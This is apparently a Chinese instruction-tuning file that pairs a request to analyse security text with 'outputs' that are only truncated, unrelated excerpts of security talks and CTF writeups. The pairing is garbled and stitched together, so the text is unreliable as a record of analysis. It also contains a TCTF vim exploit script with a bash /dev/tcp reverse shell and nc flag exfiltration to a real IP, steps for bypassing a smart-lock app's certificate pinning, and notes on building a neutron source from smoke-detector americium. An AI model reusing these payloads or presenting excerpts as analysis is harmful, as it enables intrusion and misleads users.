raises top of
key pins to
shear line
Image from wikipedia.org
Pin Tumbler Locks
● Peaks and
Valleys on Key
raise pins
● Correct key
raises top of
key pins to
shear line
Image from wikipedia.org
Pin Tumbler Locks
● W...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

© 2007 McAfee, Inc.
© 2007 McAfee, Inc.
Trojans – A Reality Check
Looking at what‘s real
Toralv Dirro
EMEA Security Strategist, CISSP
McAfee® Avert® Labs
Dirk Kollberg
Virus Research Lead
McAfee® Avert® Labs
© 2007 McAfee, Inc.
So when did all this start?
3
8/14/2007
History Lesson
• Term coined by Ken Thompson in 1983
• Used to gain privileged access to computers since the 80s
— Keyloggers
— Fake login screens
• ...and to maintain access
— Rootkits
— Backdoors
• or trivial trojans that just delete things
http://www.acm.org/awards/article/a1983-thompson.pdf
4
8/14/2007
The Hype is started
• Defcon 7.0: BO2K is released
• Massive Media attention
• The Hype is started
5
8/14/2007
Hype around Trojans
• 2001: Magic Lantern
— Supposedly developed by the FBI to replace (hardware) keyloggers
• 2007: Der Bundestrojaner
— Proposed by German authorities to enable „online searches“ on suspects
computers
— >600.000 Google hits
— April‘s Fool Joke around it by the CCC scares thousands
— Estimated cost of development ~200.000 Euro [1]
[1] Drucksache 16/3973 Deutscher Bundestag
© 2007 McAfee, Inc.
And The Reality?
7
8/14/2007
Malware & Potentially Unwated Program Growth
-5000
0
5000
10000
15000
20000
25000
30000
1997
1998
1999
2000
2001
2002
2003
2004
2005
2006
Virus
Trojan
Potentially Unwanted Program
8
8/14/2007
Samples sent to McAfee Research
2005
2006
Source: McAfee’s statistics
Legacy is defined as: DOS, boot-sector, and Win3.1 viruses
12
3
25
Macro
7%
Legacy
39%
Trojans
23%
PUPs
3%
Script
9%
Bots
12%
Win 32
7%
22
3
31
Macro
5%
Legacy
26%
Trojans
31%
PUPs
3%
Script
7%
Bots
22%
Win 32
6%
60000
50000
40000
30000
20000
10000
0
2004                                2005
2006
Bots
Legacy Trojans
Script
Macro Win 32 PUPs
9
8/14/2007
1997 - 2006
Fastest Growing Trojan Types
-2000
0
2000
4000
6000
8000
1997
1998
1999
2000
2001
2002
2003
2004
2005
2006
Password Stealer
Downloader
BackDoor
10
8/14/2007
2007: Q1 Password Stealing Tro...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Industrial Cybersecurity Landscape in 2020:
Trends, Challenges, and Opportunities
Dr. Terence Liu
VP-GM, Trend Micro and TXOne Networks
All product names, logos, and brands are property of their
respective owners. All company, product and service names
used in this deck are for identification purposes only. Use of
these names, logos, and brands does not imply endorsement.
START POINT OF THE HEAT
OT
IT and OT Have Converged
IT
ERP
IIoT
!
!
Careless
Insider
Foiled Conspiracy
1. Launch an DDoS attack against
Tesla in order to preoccupy the
company’s security staff
2. Utilize malware to exfiltrate data
for further ransom
• No wireless, no Bluetooth
• No connection (ethernet)
• Physical Isolation (six walls)
• All software/hardware tested BEFORE installing
• Data only passed by personal means, USB, CD, DVD
== Your business does not need to
optimize production
Air-gapped OT is actually
RARE for modern factories
Stuxnet
DUQU
Shamoon,Flamer,
Gauss
Havex, Dragonfly
BlackEnergy 3
Industroyer
Shamoon 2
Triton, Trisis
WannaCry,NotPeta,
Bad Rabbit
VPNFilter
LockerGoga,Ekans,
DoppelPaymer
ColdLock
2010
2011
2012
2013
2014
2015
2016
2017
2017
2018
2019
2020
Critical Infrastructure
Manufacturing
Threat’s Paradigm Shift in ICS World
Manufacturers could be TARGETED
Evolving Cyber Attacks in ICS
WannaCry
2017
Non-Targeted attack.
Worm propagation.
LockerGoga
2019
Targeted attack.
File encryption.
Snake/EKANS
2020
Targeted attack. File
encryption. Detect and
encrypt ICS-related
files.
DoppelPaymer
2020
Targeted attack. File
encryption and data
exfiltration. Kill OT
tasks.
Merck, FedEx,
Maersk, TSMC, …
Norsk Hydro, Altran,
Hexion, Momentiv
Honda, and Enel
Argentina
PEMEX, and Visser
Precision (supplier of
Boeing, Tesla, and
Lockheed Martin)
““A focus on ORM – or operational resilience management - beyond
information-centric cybersecurity is sorely needed,” - Gartner
A LEAGUE OF THEIR OWN
2015 Ukraine Power Grid Cyber Attack
10
Business Network
Internet
Control S...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

端到端流水线驱动DevOps落地
DevOps时代社区
景韵
无关趋势，关乎生死
DevOps 2017 年度报告
Continuous Delivery
Continuous
Integration
DevOps
Continuous Deployment
Lean
(End to End Flow)
Principles
Practices
Running Lean Product/Market Fit
(Finding&Validating Ideas)
Scrum/Kanban
(Process)
XP
(Engineering)
Operations
Business
Software
Service
Agile(Development/Test)
DevOps在整个软件生命周期的位置
 s
peOA
s
s
p
v
R
S
sC
-sD
s
=s
企业级DevOps理论与实践体系（标准）
流水线驱动DevOps
主要结论
• 业务对交付频率有较高要求，65%的受访者实现了每周一次以上的部署频率
• 部署频率与部署成功率正相关，通过技术手段可以保证价值快速和高质量流动
• 64%的受访者已经引入持续交付流水线， 其中的86%在使用Jenkins
• 各阶段工具与流水线集成比率低于25%，流水线自动触发比率仅有31%
1. 流水线集成很困难
• 需要端到端整合持续交付流水线
• 多种工具间有效集成和互联互通
2. 自动化触发比率低
3. 优秀实践应用不全
问题及改进建议
（一）
问题及改进建议
（二）
问题及改进建议
（三）
• 代码提交自动触发，自动化执行
• 流水线逐层晋级，实现内建质量
• 代码扫描，非功能测试，灰度发布
• 分布式配置中心，数据库变更管理
DevOps流水线调研结论
张乐、石雪峰、景韵
流水线核心成员：张乐、赵舜东、景韵、石雪峰、雷涛、李华强、孙博
微服务项目
Build
Test
Deploy
•
Everything is Container
所有的构建、测试、部署、运行环
境都实现容器化动态生成
•
Docker in Docker
在通用容器环境中，按需拉取任务
所需镜像，实现环境标准化
全面拥抱容器化
•
Slave动态挂载
Jenkins节点通过JNLP协议动态生
成挂载
•
资源动态调度
容器资源由Kubernetes平台进行
统一调度，动态扩容收缩
弹性动态集群
•
打通需求开发部署流程
Jira，Gitlab，Jenkins完美集成，
流水线状态自动化同步
•
插接研发团队内部工具
将自动化测试，部署上线集成到流
水线中，端到端打通全流程
From KK：Why, What, and How of Continuous Delivery
流水线工具集成
流水线的16个特性
流水线建设路线图
Value Stream Mapping
THANKS


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Anch Presents:
The Monkey In the Middle
A pen-testers guide to playing
in trafﬁc.
Twitter: @boneheadsanon
A little about me
Over 10 years experience in
testing pens (Fountain is my
favorite)
Why we play in traffic?
❖ Trafﬁc is interesting stuff.!
❖ Gives us insight in to how
things work.!
❖ Allows us to gather
information on a target.!
❖ Allows us to change things
as they go by.!
❖ Most importantly….  !
❖ It allows us to prank our
friends.
How to get into traffic…
❖ Always wear a helmet…!
❖ It can be dangerous.!
❖ Really messes with
networks.!
❖ Your host might not be
fast enough.!
❖ Switches alert on some
things.!
❖ IDS usually will catch it.
How to get into traffic…
❖ A tool discussion!
❖ ARP Spooﬁng!
❖ DNS Poisoning/Spooﬁng!
❖ DHCP Snooping!
❖ Transparent Proxies
The most dangerous option
ARP Spoofing/
Poisoning
arpspoof - Provided as part of the dsniff
suite of tools.!
!
❖ EASILY detected on a network.!
❖ If done incorrectly can take down
entire segments of the network.!
❖ Need a fairly powerful host to keep up
with the trafﬁc.
Another, slightly less dangerous way
DNS Poisoning/
Spoofing
Cain is able to perform this function
amongst other tools.!
!
❖ May still require you to ARP Spoof
ﬁrst.!
❖ Used in conjunction with other tools!
❖ Provides your IP address the answer
to DNS queries.
Still a little less dangerous
DHCP Spoofing
The ever famous ettercap provides this
function in an excellent way.!
!
❖ Still need to be able to sniff trafﬁc going to
from your target (throwing star works well
for this if you have physical access.!
❖ Switches can be conﬁgured to check for,
deny, and alert on this attack.!
❖ Used in conjunction with other tools.
Actually doing something with trafﬁc once you have it…
Proxies
Multiple tools provide this
service:!
❖ Burp!
❖ Mallory!
❖ Squid
Proxies
Burp Suite
Java, runs on almost anything, lots of
options in the free version, paid has even
more.!
!
❖ Just Works most of the time.!
❖ Will hold http gets/posts based ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

1
WMCTF 2022 部分 WRITEUP
前⾔
WEB
subconverter
RCE?
⽂件写⼊
任意⽂件读取
构造quickjs脚本
RCE 链
RCE!
⼩插曲
easyjeecg
Java
ssrf
spark
bash延时"注⼊"
交互shell
6166lover
信息泄露
代码审计
cpython简单的沙箱逃逸
数据恢复?
k8s 容器逃逸
PWN
Ubuntu
MISC
Hacked_by_L1near
permessage-deﬂate
Checkin
2
作者:⽩帽酱
这次WMCTF拿了3个⼀⾎
题⽬设计⾮常有趣  其中还有⼏个0day  很多实际渗透遇到的问题也考虑到了
题⽬给了⼀个开源的代理订阅转换器
是个C++的项⽬
拿到源码 ⾸先先寻找路由 查看鉴权逻辑
前⾔
WEB
subconverter
3
/*
webServer.append_response("GET", "/", "text/plain", [](RESPONSE_CALLBACK_
ARGS) -> std::string
{
return "subconverter " VERSION " backend\n";
});
*/
webServer.append_response("GET", "/version", "text/plain", [](RESPONSE_CA
LLBACK_ARGS) -> std::string
    {
        return "subconverter " VERSION " backend\n";
    });
webServer.append_response("GET", "/refreshrules", "text/plain", [](RESPON
SE_CALLBACK_ARGS) -> std::string
    {
        if(global.accessToken.size())
        {
            std::string token = getUrlArg(request.argument, "token");
            if(token != global.accessToken)
            {
                response.status_code = 403;
                return "Forbidden\n";
            }
        }
        refreshRulesets(global.customRulesets, global.rulesetsContent);
        return "done\n";
    });
webServer.append_response("GET", "/readconf", "text/plain", [](RESPONSE_C
ALLBACK_ARGS) -> std::string
    {
        if(global.accessToken.size())
        {
            std::string token = getUrlArg(request.argument, "token");
            if(token != global.accessToken)
            {
                response.status_code = 403;
                return "Forbidden\n";
            }
        }
        readConf();
        if(!global.updateRulesetOnRequest)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
src/main.cpp
C++
复制代码
4
            refreshRulesets(global.customRulesets, global.rulesetsContent
);
        return "done\n";
    });
webServer.append_response("POST", "/updateconf", "text/plain", [](RESPONS
E_CALLBACK_ARGS) -> std:...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

大海捞针：使用沙箱捕获多个零日漏洞
李琦
安全开发工程师
金权
漏洞挖掘和利用工程师
2019-5-30
关于我们
李琦 (@leeqwind)
360 核心安全高级威胁自动化团队
安全开发工程师
金权 (@jq0904)
360 核心安全高级威胁自动化团队
漏洞挖掘和利用工程师
• 高级威胁自动化和沙箱
• 使用沙箱发现在野 0day 漏洞
大纲
无处不在的网络攻击
我们至今捕获的五次在野利用 0day 漏洞的攻击事件
CVE-2018-15982
捕获到一次使用新的 Flash 0day (CVE-2018-15982) 针对政府机
构的国际网络攻击。
2018-11
CVE-2018-8174
首家捕获新的使用浏览器 0day 漏洞 (CVE-2018-8174) 的 APT MS
Office 攻击。该漏洞影响当时最新版的 Internet Explorer 浏览
器和所有使用 IE 内核的应用程序。
2018-04
2018-06
CVE-2018-5002
全球首家捕获在野利用的 Flash 0day 漏洞 (CVE-2018-5002)。
该漏洞影响 Adobe Flash Player 29.0.0.171 和更早的所有版
本。
2017-12
CVE-2018-0802
全球首家捕获  噩梦公式二代  (CVE-2018-0802) 0day 漏洞，
2018年微软修复的首个在野 0day 漏洞。
CVE-2017-11826
全球独家捕获在野利用的 0day 漏洞 (CVE-2017-11826)。 这是中
国安全厂商捕获的第一个 Office 在野 0day 攻击。
2017-09
无处不在的网络攻击
1
10
100
1000
10000
100000
1000000
doc
docm
docx
eml
html
hwp
msi
nsis
pdf
ppt
pptm
pptx
rtf
swf
vbs
xls
xlsm
xlsx
exe
dll
others
Flash
HWP
IE
Kernel
Office
PDF
CVE-2012-0158
CVE-2015-1641
CVE-2015-1726
CVE-2015-2545
CVE-2016-7255
CVE-2017-11882
CVE-2017-8570
CVE-2018-0798
CVE-2018-0802
CVE-2018-4878
从 2018-03 至 2019-03 期间我们监测到的部分 N-day 漏洞攻击文件统计
部分文件类型分类
漏洞模块分类
部分漏洞计数
高级威胁自动化
• 大规模的样本云
• 静态反病毒引擎
• AVE QEX QVM
• 样本预筛选策略
• 沙箱服务器集群
• 虚拟机隔离环境
• 沙箱自动化检测引擎
• 规则评分系统
• 检测结果告警和响应
样本云
分布式调度
扫描和筛选
搜索
告警
订阅
数据汇集
中心
工作服务器
工作服务器
工作服务器
数据源和预先筛选
沙箱服务器集群
面向使用者
高级威胁自动化
• 大规模的样本云
• 静态反病毒引擎
• AVE QEX QVM
• 样本预筛选策略
• 沙箱服务器集群
• 虚拟机隔离环境
• 沙箱自动化检测引擎
• 规则评分系统
• 检测结果告警和响应
虚拟机镜像中心
沙箱环境
规则评分
日志
报告
日志处理
虚拟机
操作
VM
该怎么做？
沙箱检测引擎
• 最初的方案：动态库
• 注入目标进程执行检测功能
• 挂钩各系统动态库导出函数
沙箱检测引擎
运行 + 注入
检测模块
辅助进程
目标进程
子进程
Hook
Exploit
VEH
Logging
检测模块
Hook
Exploit
VEH
Logging
检测模块
运行
进程
注入检测模块
消息
• 最初的方案：动态库
• 注入目标进程执行检测功能
• 挂钩各系统动态库导出函数
• 轻量级 😀
沙箱检测引擎
运行 + 注入
检测模块
辅助进程
目标进程
子进程
Hook
Exploit
VEH
Logging
检测模块
Hook
Exploit
VEH
Logging
检测模块
运行
进程
注入检测模块
消息
• 最初的方案：动态库
• 注入目标进程执行检测功能
• 挂钩各系统动态库导出函数
• 轻量级 😀
• 这样就可以了吗？
沙箱检测引擎
运行 + 注入
检测模块
辅助进程
目标进程
子进程
Hook
Exploit
VEH
Logging
检测模块
Hook
Exploit
VEH
Logging
检测模块
运行
进程
注入检测模块
消息
运行 + 注入
检测模块
辅助进程
目标进程
子进程
Hook
Exploit
VEH
Logging
检测模块
Hook
Exploit
VEH
Logging
检测...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Network Protocol Reverse Engineering
Literature Survey for “Eavesdropping on the Machines”
Presented 2016-08-05 at DEF CON 24 by Tim Estell and Katea Murray
Prior DEF CON Talks
DC22 - Jesus Molina presented “Learn how to control every room at a luxury hotel remotely: the
dangers of insecure home automation deployment”. In-depth look at a specific protocol, but no
repeatable process for NPRE.
DC 22 – Geoff McDonal presented “Meddle: Framework for Piggy-back Fuzzing and Tool
Development”, arguing “Why bother spending time understanding the protocol just to try break
it?”. His fuzzing tool sidesteps NPRE?
DC 22 – Dustin Hoffman and Thomas Kinsey presented “What the Watchers See: Eavesdropping
on Municipal Mesh Cameras for Giggles (or Pure Evil)” where they decoded an undocumented
protocol (i.e., NPRE). But they didn’t focus on a repeatable process for you to reverse your own
protocol.
DC 23 – Peter Shipely and Ryan Gooler presented “Insteon' False Security And Deceptive
Documentation” where they asserted the published protocol documentation from Insteon is
incorrect and deceptive. But no generalized process for NPRE.
Summary of Research
Published research for Network Protocol Reverse Engineering (NPRE) has addressed many challenges.
The Protocol Informatics Project (PI Project) [Beddoe 2004] accomplished PRE using network traces and
two string alignment algorithms, Needleman-Wunsch and Smith-Waterman. A Semi-automated
approach [Gopalratnam 2006] uses packets from the protocol of interest and at least one packet with
the fields labeled. Gaussian models are used to cluster the field and provide information to the user
about field values. They note their algorithm does not scale well with the number of fields being
analyzed or the size of the messages.
Some researchers state that the limitation of network traces is a lack of protocol semantics as network
traces only contain syntactic information and cannot provide the full protocol grammar [Caba...


Instruction: 请分析这段安全相关的文本内容


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

1
SweetPotato中EFS提权错误
各位师傅晚上好，今天我在虚拟机中测试SweetPotato，在Win10中是正常运⾏的，但是在Win2016中
⽆法正常运⾏。SeImpersonatePrivilege开启是正常开启的，通过Procmon查看发现没有访问成功？
Windows2016（提权失败）：
Windows10（提权成功）：


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

The follow steps can be used to bypass the certificate pinning used by the August Smart phone
app without needing to jailbreak the device.
Step 1: Open settings
Step 2: Press and hold the application version number.
Step 3: Enter "DreadfulDow" in the prompt. The prompt is case sensitive.
Step 4: Tap on https://apiproduction.august.com to change webservice the application will use.
Step 5: Tap other to specify a custom url.
Step 6: Enter url of server you control which can relay requests to August's server. (Both HTTP
and HTTPS can be used.)
Step 7: Monitor to, modify, and otherwise mess with traffic between the app and the August
services.


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Take advantage of randomness
Frank Tse
Nexusguard
Agenda
What is random
Some applications of random
Detecting anomalies from randomness
Mitigating ‘random’ attacks
1
2
3
4
Visualizing randomness
5
About::me
From Hong Kong
Researcher in DDoS
I like RFC
IT Security
Identify them correctly
Take actions accordingly
Block the known bad
Verify the known good
Track the uncertain
Challenge the suspicious
DDoS:
Good Human
 > Adult, Kid, Infant
Bad Human
 > Smart, not-so-smart
Good Bot (inhuman)
Bad bot (inhuman)
General IT security vs DDoS
/dev/random
Entropy: initial seeds for random number generation
kern.random.sys.seeded
 non-blocking while reading
kern.random.sys.harvest.ethernet
 LAN traffic
kern.random.sys.harvest.point_to_point  P2P interface
kern.random.sys.harvest.interrupt
 HW interrupt (Mouse, keyboard)
kern.random.sys.harvest.swi
 SW interrupt  (exceptions)
Initializing seed for random during boot up (HW)
Entropy: initial seeds for random number generation
If I’m running on VM
[ 0.000000] Booting paravirtualized kernel on KVM
virtio-rng: a driver for feeding entropy between VM guest and host
Problem: I don’t trust virto-rng
Solution: entropy from remote server
entropy.ubuntu.com
Angers Bridge, collapsed on Apr-16, 1850, due to soldiers marching across it.
aka. “Stuck in synchronization”
2009 MAY 19, Storm Codec [ Baofeng] (暴风影音) brings down DNSpod.
Due to lack of random back-off and sleep mechanism
Routing protocol randomized hello timers to avoid ‘stuck in synchronization”
RFC4271 – Border Gateway Protocol v4
To minimize the likelihood that the distribution of BGP messages by a given BGP speaker will contain
peaks, jitter SHOULD be applied to the timers associated with MinASOriginationIntervalTimer,
KeepaliveTimer, MinRouteAdvertisementIntervalTimer, and ConnectRetryTimer. A given BGP speaker
MAY apply the same jitter to each of these quantities, regardless of the destinations to which the
upd...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

TCTF 2019
TCTF 2019
PWN
vim
zerotask
plang
Reverse
Elements
Fixed Point
sanitize
Web
Ghost Pepper
Wallbreaker Easy
Crypto
babyrsa
MISC
ﬂropyd
Neuron Break
http://ctf.0ops.sjtu.cn/ 23 March 2019, 06:00 UTC — 25 March 2019, 06:00
UTC Nu1L
PWN
vim
a
stepperm_state_Tbuﬀer
freegotbuﬀerfreegot
system
from pwn import *
from hashlib import sha256
import string
import sys
system = 0x004C9163
free_got = 0x8a8238
# cmd = "bash -c 'bash&>/dev/tcp/111.230.94.113/6666<&1';"
# # cmd = 'cat /flag | nc 111.230.94.113 88;'.ljust(0x4f) + p64(system)
# cmd = "echo 1 | nc 111.230.94.113 88\x00".ljust(0x2f) + p64(system)
# cmd += p64(0x4036b0) + p64(0x4036c0) + p64(0x4036d0) + p64(0x4036e0) +
p64(0x4036f0) + "\x00"
# cmd = cmd.ljust(0x82-0x20)
# cmd = cmd[::-1]
# context.endian = 'big'
# ss =
'VimCrypt~04!\xff\xff\xff\x9e0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLM
NOP'
# ss = ss.replace('lmnopqrs',p64(free_got-0x30))
# ss = ss.replace('tu','\x73u')
# for i in cmd:
#     ss += i
# for i in range(0x26,0x30):
#     ss += chr(i)
# ss = ss.ljust(0x300)
# for i in range(0,0x21):
#     ss += chr(i)
# for i in cmd:
#     ss += i
# for i in range(0x83,0xff):
#     ss += chr(i)
# ss = ss.replace('\xb6',' ')
# ss += '.'
# ss = ss.replace('d8d9dadbdcdddedf'.decode('hex'),p64(free_got-0x30))
# second
cmd = "bash -c 'bash&>/dev/tcp/111.230.94.113/66<&1';"
# cmd = ';cat /f* | nc 111.230.94.113 88\x00' + p32(system)*2
# cmd = cmd.ljust(0x26+10,"\x00")[::-1]
free_got = 0x8a8238
system = 0x004C9163
context.endian = 'big'
ss =
'VimCrypt~04!\xff\xff\xff\x9e0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLM
NOP'
ss = ss.replace('lmnopqrs',p64(free_got-0x30))
ss = ss.replace('tu','\x7cu')
# for i in cmd:
#     ss += i
for i in range(0+6,0x12):
    ss += chr(i)
cmd = cmd.ljust(0x41-0x12,'A')
print 'exec cmd,',cmd
cmd = cmd[::-1]
for i in cmd:
    ss += i
ss = ss.ljust(0x8f,' ')
print hex(len(ss))
ss = ss.replace('\n\x0b\x0c\r\x0e\x0f\x10\x11',p64(system))
eee = ss
open('test','wb').write(ss)
# sys.ex...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

THE RADIOACTIVE BOY
SCOUT:
NOW EVERYONE CAN GET
INTO THE NUCLEAR ARMS
RACE
WHAT IS A HACKER
• SOMEONE VERY CREATIVE
• AN EXPLORER
• REVERSE ENGINEER
• SOMEONE WHO DOES’T HAVE A BOX
TO THINK OUT OF
• DOESN’T DRINK THE KOOLAIDE
• BOLDLY GOES WHERE NO MAN HAS
GONE BEFORE
RADIATION, GAMMA RAYS
• HIGH ENERGY PHOTONS
• CESIUM 137
• COBALT 60
NEUTRONS
• PRODUCED BY A REACTOR
• NO CHARGE
• CAN MAKE ELEMENTS RADIOACTIVE
RADIATION,ALPHA,BETA,
PARTICLES
• ALPHA PARTICLES, HELIUM NUCLEUS
+2 CHARGE
• BETA PARTICLES, ELECTRON ,-1
CHARGE
• ONLY DANGEROUS IF INHALED OR
INGESTED
 ATTACKS IN THE PAST THAT
COULD HAVE UTILIZED
• RUSSIAN POLONIUM 210 INGESTION
•  IN 1984 THE FOLLOWERS OF
BHAGWAN SHREE RAJNEESH
SPRAYED SALMONELLA INTO SALAD
BARS IN ANTELOPE COUNTRY
• IN 1966-7 THE CIA AND DEFENSE
DEPT SPRAYED A HARMLESS
SUBSTANCE ON TO THE TRACKS OF
TWO NYC SUBWAY LINES
PASITIVE DETECTORS
• GEIGER COUNTER
• ION CHAMBER SURVEY
• GAMMA SCINTILLATION DETECTOR
• COUNTER  MEASURES
ACTIVE DETECTORS
• ILUMINATE  OBJECTS  WITH
NEUTRONS OR GAMMA RAYS
• NUCLEAR INTERESTING OBJECT WILL
PRODUCE NEUTRONS
• COUNTER MEASSURES NONE
• DRAWBACKS, IT MIGHT SET OFF A
CRUDLEY MADE ATOM BOMB
OVER VIEW OF DAVID HAHN
• LIVES IN  A SUBURB  OF DETROIT
• BOY SCOUT,ATOMIC ENERGY MERIT
BADGE
SOCIAL ENGINEER
• PROFESSOR HAHN
• CZECH REPUBLIC,SAMPLES
URANINITE AND PITCHBLEND
• PROFESSOR PHYSICS INSTRUCTOR
CON SOME GOVERNMENT OFFICALS
• RECEIVED A REPLY FROM ONE OUT
OF 5 LETTERS
• LEARNED FROM GOVERNMENT
BERYLLIUM PRODUCES NEUTRONS
DAVID HAHN THE CHEMIST
• GOLDEN BOOK OF CHEMISTRY
EXPERIMENTS
• GUN POWER
• NITRIC ACID
• YELLOW CAKE
THE QUEST FOR FISSIONABLE
FUEL
• URANIUM-235,233,PLUTONIUM-239,240
• THORIUM-232 BECOMES 233 +
NEUTRON
• LANTERN MANTELS CONTAIN
THORIUM
• COPIOUS AMOUNT OF MANTELS
THE NEUTRON GUN
• A DEVICE TO TRANSFORM ELEMENTS
• ALPHA PARTICLES FIRED AT
ALUMINUM OR BERYLLIUM PRODUCE
NEUTRONS
• AMERICIUM 241 FOUND IN SMOKE
DETECTORS PRODUCES ALPHA
PARTICLES
• NEED AT LEAST 100 DETECTORS
NEUTRON GUN 2
• RA...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Module 2
Typical goals of malware and their
implementations
https://github.com/hasherezade/malware_training_vol1
Introduction
Malware: missions and tactics
Malware: missions and tactics
• First questions that we need to answer analyzing malware: WHAT?
• What is the main purpose (mission) of tha malware?
• What is the malware family?
• Other questions that follow: HOW?
• How are the goals implemented?
• Are the used techniques novel/similar to known implementations?
• Possible actor: WHO?
• Cybercrime? Nation-State? Level of sophistication?
Malware: missions
• Most common malware missions:
• Extortion (ransomware)
• Financial fraud and stealing of credentials (i.e. Banking trojans, card number stealers)
• Long-run espionage operations (RATs, spyware)
• Short run-espionage operations (stealing documents)
• Botnets for other attacks (i.e. DDoS bots, spamming bots, click-fraud, loading of secondary
malware)
• Illegitimate usage of resources (i.e. proxy botnets, cryptocurrency miners)
• Sometimes multiple goals can be implemented in one executable
Malware: families
• Trending malware families
• https://any.run/malware-trends/
• https://blog.malwarebytes.com/reports/2020/02/malwarebytes-labs-releases-2020-state-of-
malware-report/
Malware: tactics
• MITRE database (https://attack.mitre.org/tactics) –set of common tactics used by
malware
• Depending on malware family, the authors may be interested in achieving different goals,
i.e.
• Persistence
• Defense Evasion
• Stealing Credentials
• Exfiltration
• Lateral Movements
• Manipulation/Destruction
Malware: tactics
From: https://attack.mitre.org/tactics


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

\
I am a legend
Celine & Elie Bursztein
https://www.elie.net/hs
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Digital Collectible Card Game
Released by Blizzard in 2014
Based of World of Warcraft
universe
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Sometimes  too interesting leads to
un-intended consequences
Painting by http://www.jason-w.com/blog/the-fall-of-lordaeron
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Game complexity generates exploitable biases
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Outline
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Outline
1. Finding undervalued cards
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Outline
1. Finding undervalued cards
2. Predicting opponent deck
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Outline
1. Finding undervalued cards
2. Predicting opponent deck
3. Predicting the game outcome
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Outline
1. Finding undervalued cards
2. Predicting opponent deck
3. Predicting the game outcome
4. Incoming alien invasion (or not)
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
You hero
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
You hero
Opponent
hero
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Hero health
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Deck
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
hand
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
hand
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
mana pool
Celine & Elie Bursztein
I am a leg...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Extreme Privilege Escalation On Windows 8/UEFI Systems
Corey Kallenberg
Xeno Kovah
John Butterworth
Sam Cornwell
ckallenberg@mitre.org, xkovah@mitre.org
jbutterworth@mitre.org, scornwell@mitre.org
The MITRE Corporation
Approved for Public Release
Distribution Unlimited. Case Number 14-2221
Abstract
The UEFI speciﬁcation has more tightly coupled the bonds of the operating system and the platform
ﬁrmware by providing the well-deﬁned “Runtime Service” interface between the operating system and
the ﬁrmware. This interface is more expansive than the interface that existed in the days of conventional
BIOS, which has inadvertently increased the attack surface against the platform ﬁrmware. Furthermore,
Windows 8 has introduced an API that allows accessing this UEFI interface from a privileged userland
process. Vulnerabilities in this interface can potentially allow a privileged userland process to escalate its
privileges from ring 3 all the way up to that of the platform ﬁrmware, which attains permanent control
of the very-powerful System Management Mode. This paper discusses two such vulnerabilities that the
authors discovered in the UEFI open source reference implementation and the techniques that were used
to exploit them.
1
Contents
1
Introduction
3
2
Runtime Services
3
2.1
Variable Interface . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4
2.2
Capsule Update . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4
2.2.1
Capsule Update Initiation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4
2.2.2
PEI Phase Capsule Coalescing
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5
2.2.3
DXE Phase Capsule Processing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5
3
Capsule Update Vulnerabilities
6
3.1
Coalescing Vulnerability . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
7
3.2
Envelope Vulnerability . . . . . . . . . . . ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

本书由Meji制作,于广州,2002年11月.
注意,本书的一切所有权及版权归译者,著者及中国电力出版社所有,一切由本电子版引发之民事刑事纠纷与本人
无关.本电子书的制作纯粹处于传播知识之目的,禁止将本电子书用作盈利之目的,若有恣意妄为者后果自负.
PDF 文件以 "FinePrint pdfFactory Pro" 试用版创建   http://www.pdffactory.com


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

http://Irongeek.com
Adrian Crenshaw
Project site:
http://www.irongeek.com/i.php?page=security/programmable-hid-usb-keystroke-dongle
http://Irongeek.com
 Tenacity Solutions
http://www.tenacitysolutions.net/
 Kentuckiana ISSA
http://www.issa-kentuckiana.org/
 PJRC
http://www.pjrc.com/
http://Irongeek.com
 I run Irongeek.com
 I have an interest in InfoSec
education
 I don’t know everything - I’m just a
geek with time on my hands
http://Irongeek.com
 I was given a device called a Phantom Keystroker as
